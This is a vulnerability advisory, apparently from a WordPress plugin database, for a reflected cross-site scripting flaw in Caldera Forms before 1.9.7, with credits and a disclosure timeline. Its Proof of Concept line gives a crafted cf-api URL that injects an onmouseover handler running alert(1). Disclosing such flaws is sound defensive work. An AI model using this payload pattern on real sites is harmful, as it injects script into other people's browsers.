WordPress Plugin Vulnerabilities
Caldera Forms < 1.9.7 - Reflected Cross-Site Scripting
Description
The plugin does not validate and escape the cf-api parameter before outputting it back in the response, leading to a Reflected Cross-Site Scripting
Proof of Concept
The issue is only exploitable when there are no forms created yet https://example.com/?cf-api=%22%20style=position:fixed;left:0;top:0;right:0;bottom:0;%20onmouseover=alert(1)%20x
Affects Plugins
Fixed in version 1.9.7 - plugin closed
References
Classification
Miscellaneous
Original Researcher
Krzysztof Zając
Submitter
Krzysztof Zając
Submitter website
Verified
Yes
Timeline
Publicly Published
2022-03-28 (about 4 months ago)
Added
2022-03-28 (about 4 months ago)
Last Updated
2022-04-11 (about 4 months ago)